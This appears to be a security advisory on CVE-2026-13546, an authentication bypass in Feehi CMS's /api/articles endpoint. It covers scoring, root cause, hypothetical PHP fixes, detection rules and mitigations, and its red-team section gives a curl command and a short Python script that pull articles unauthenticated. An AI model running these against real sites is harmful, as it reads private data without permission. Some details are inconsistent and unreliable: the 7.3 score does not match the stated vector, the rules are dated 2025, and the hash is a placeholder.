CVE-2026-13546

Executive Summary

CVE-2026-13546 is a critical authentication bypass vulnerability in Feehi CMS versions up to 2.1.1. The flaw resides in the /api/articles REST API endpoint, where the application fails to enforce authentication checks before processing requests. This allows an unauthenticated, remote attacker to access potentially sensitive article data without any credentials. The vulnerability has been publicly disclosed via an issue report, and the vendor has not yet responded or released a patch. The CVSS score of 7.3 (High) reflects the ease of exploitation and the potential for data exposure.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the Feehi CMS PHP application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.3 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Complete disclosure of article data.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The exploit is public, requires no authentication, and can be executed remotely with low complexity.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authentication for Critical Function (CWE-306). The /api/articles endpoint in Feehi CMS is designed to provide RESTful access to article data. However, the code handling this endpoint does not verify the identity or authorization of the requesting user before processing the request.

Root Cause Analysis: The likely root cause is that the developer assumed the API endpoint would only be accessed by authenticated users (e.g., via a frontend that handles login) and did not implement server-side authentication checks. In many PHP frameworks, this can happen when a controller action is not protected by middleware or an authentication filter.

Attack Flow:

1. An attacker identifies a target running Feehi CMS (e.g., via Shodan dorks).
2. The attacker sends a simple HTTP GET request to https://target.com/api/articles.
3. The server processes the request without checking for a valid session token or API key.
4. The server returns a JSON or XML response containing all articles, including potentially unpublished or private content.

Impact:

• Data Breach: Exposure of all article data, including drafts, private posts, and metadata.
• Information Disclosure: Attackers can gather intelligence about the site's content, user base, and internal structure.
• Reputational Damage: Loss of trust if sensitive information is leaked.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (PHP - Conceptual):

// /api/controllers/ArticleController.php
public function actionIndex() {
    $articles = Article::find()->all();
    return $this->asJson($articles);
}

No authentication check is performed before fetching and returning all articles.

Patched Code (Hypothetical):

// /api/controllers/ArticleController.php
public function actionIndex() {
    // Check if user is authenticated
    if (Yii::$app->user->isGuest) {
        throw new \yii\web\UnauthorizedHttpException('Authentication required.');
    }
    $articles = Article::find()->all();
    return $this->asJson($articles);
}

The patched version uses a framework authentication check (e.g., Yii2's isGuest) to reject unauthenticated requests.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Feehi CMS <= 2.1.1.
• Network access to the target's web server.

Exploitation Steps:

1. Reconnaissance: Use Shodan or manual browsing to identify Feehi CMS instances.
2. Direct Request: Send a GET request to the vulnerable endpoint.

   curl -X GET "http://target.com/api/articles" -H "Accept: application/json"
   

3. Analyze Response: The server will return a JSON array of articles. If the response is empty or returns an error, the endpoint may be protected or the CMS version is patched.

Example Exploit (Python):

import requests

target = "http://target.com"
endpoint = "/api/articles"

response = requests.get(target + endpoint)
if response.status_code == 200:
    print("Articles retrieved successfully:")
    print(response.text)
else:
    print(f"Failed with status code: {response.status_code}")

Blue Team (Detection & Response)

Detection:

• Monitor for unusual access to /api/articles from IPs that are not associated with authenticated users.
• Look for a high volume of requests to API endpoints without a valid session cookie or API token.
• Alert on any successful retrieval of article data from unauthenticated sources.

Response:

1. Immediate: Block the attacking IP at the firewall or WAF.
2. Containment: If possible, disable the /api/articles endpoint temporarily by modifying the web server configuration (e.g., Nginx/Apache rewrite rules).
3. Investigation: Check logs for the scope of the breach. Determine which articles were accessed.
4. Remediation: Apply a virtual patch via WAF rules to require authentication for the endpoint. Monitor for vendor patch release.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /api/articles without a valid Authorization header or session cookie.
  • Responses containing JSON/XML with article data (e.g., {"articles": [...]}).
  • Source IPs that are not part of the organization's known user base.

• File IOCs:

  • Unusual access logs in /var/log/nginx/access.log or /var/log/apache2/access.log showing requests to /api/articles from unknown IPs.

• Behavioral IOCs:

  • A sudden spike in API requests to the articles endpoint.
  • Requests to /api/articles from IPs that have not previously accessed the login page.

Detection Engineering

YARA Rule

rule detect_feehi_cms_auth_bypass {
    meta:
        description = "Detects exploitation attempts for CVE-2026-13546 in Feehi CMS"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/api/articles" ascii wide nocase
        $s2 = "articles" ascii wide nocase
    condition:
        $s1 and #s2 > 5
}

Sigma Rule

title: Feehi CMS Authentication Bypass via /api/articles
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to the /api/articles endpoint in Feehi CMS
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/articles'
    condition: selection
falsepositives:
    - Legitimate API clients with proper authentication (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-13546 - Feehi CMS Authentication Bypass Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/api/articles";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block unauthenticated requests to /api/articles. Example Nginx rule:

   location /api/articles {
       if ($http_authorization = "") {
           return 401;
       }
       proxy_pass http://backend;
   }
   

2. Endpoint Disablement: If the API is not critical, disable the endpoint by removing or renaming the controller file.
3. Access Control: Implement IP whitelisting for the API endpoint if it must remain accessible.

Long-Term Fix:

• The vendor must release a patch that adds authentication checks to the /api/articles endpoint.
• Until then, consider upgrading to a forked or community-maintained version that includes the fix.

Monitoring:

• Enable detailed logging for all API requests.
• Set up alerts for any access to /api/articles without a valid session.

Valters IT